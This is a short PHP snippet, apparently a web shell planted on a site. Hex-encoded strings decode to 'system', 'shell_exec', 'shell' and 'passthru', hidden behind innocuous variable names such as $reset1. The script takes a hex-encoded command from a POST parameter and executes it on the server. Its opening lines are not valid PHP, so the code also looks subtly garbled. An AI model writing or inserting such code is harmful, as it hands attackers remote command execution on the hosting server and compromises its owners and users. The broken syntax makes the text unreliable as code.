'73'0 = '72';
'73'1 = '71';
$reset1 = pack('H*', '73797374656d');
$reset2 = pack('H*', '7368656c6c5f65786563');
$reset3 = pack('H*', '7368656c6c');
$reset4 = pack('H*', '7061737374687275');
$requests = pack('H*', '73'0.'6573'1.'7565737473');
if (isset($_POST[$requests])) {
    $requests = pack('H*', $_POST[$requests]);
    if (function_exists($reset1)) {
        $reset1($requests);
    } elseif (function_exists($reset2)) {
        $reset2($requests);
    } elseif (function_exists($reset3)) {
        $reset3($requests);
    } elseif (function_exists($reset4)) {
        $reset4($requests);
    }
    exit;
}